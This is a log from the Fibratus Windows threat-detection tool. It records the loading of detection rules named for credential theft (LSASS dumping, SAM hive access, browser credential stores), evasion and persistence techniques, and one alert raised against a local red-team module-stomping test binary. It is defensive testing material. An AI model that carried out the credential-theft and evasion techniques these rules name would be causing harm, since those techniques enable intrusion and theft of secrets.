source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:36:25+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:36:25+01:00 level=info msg=bootstrapping with pid 11268. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:36:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false min-buffers=>16 enable-thread=>true enable-audit-api=>true enable-net=>true enable-fileio=>true enable-registry=>true buffer-size=>512 flush-interval=>1s enable-handle=>false stack-enrichment=>true enable-dns=>false enable-mem=>false enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 max-age=>0 level=>info log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck=>true gzip-compression=>false flush-period=>1s bulk-workers=>1 enabled=>false healthcheck-interval=>10s index-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-timeout=>5s template-name=>fibratus sniff=>false timeout=>5s] http=>[ enabled=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic enabled=>false vhost=>/ url=>amqp://localhost:5672 durable=>false timeout=>5s passive=>false routing-key=>fibratus delivery-mode=>transient] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false scan-timeout=>10s excluded-files=>[] skip-registry=>false fastscan=>true excluded-procs=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:36:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:36:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:36:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:36:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:36:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:36:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:36:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:36:53+01:00 level=info msg=bootstrapping with pid 8428. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:36:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 flush-interval=>1s enable-image=>true enable-mem=>false stack-enrichment=>true enable-handle=>false buffer-size=>512 max-buffers=>36 enable-net=>true enable-dns=>false enable-thread=>true enable-threadpool=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 formatter=>text level=>info] + output ......................... [ amqp=>[ exchange-type=>topic delivery-mode=>transient passive=>false durable=>false timeout=>5s enabled=>false exchange=>fibratus routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ timeout=>5s template-name=>fibratus healthcheck-interval=>10s index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck=>true flush-period=>1s sniff=>false enabled=>false gzip-compression=>false bulk-workers=>1 trace-log=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s enable-gzip=>false method=>POST enabled=>false serializer=>json]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-mmaps=>false skip-allocs=>false skip-files=>false excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:36:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:36:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:37:08+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 2703481 + Pid: 9144 + Tid: 13356 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 17:36:59.8635081 +0100 CET + Params: base_address➜ 29e27810000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 9144, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 11651379566778917816, rule.name: Potential NTDLL memory unhooking, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 9144 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 2702217 + Pid: 9144 + Tid: 13356 + Type: SetThreadContext + CPU: 7 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 17:36:59.9712016 +0100 CET + Params: status➜ The handle is invalid + Metadata: tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking, rule.seq.link: 11651379566778917816, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 9144 + Ppid: 17996 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T17:37:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:37:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:37:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:43:30+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:43:30+01:00 level=info msg=loading rule from 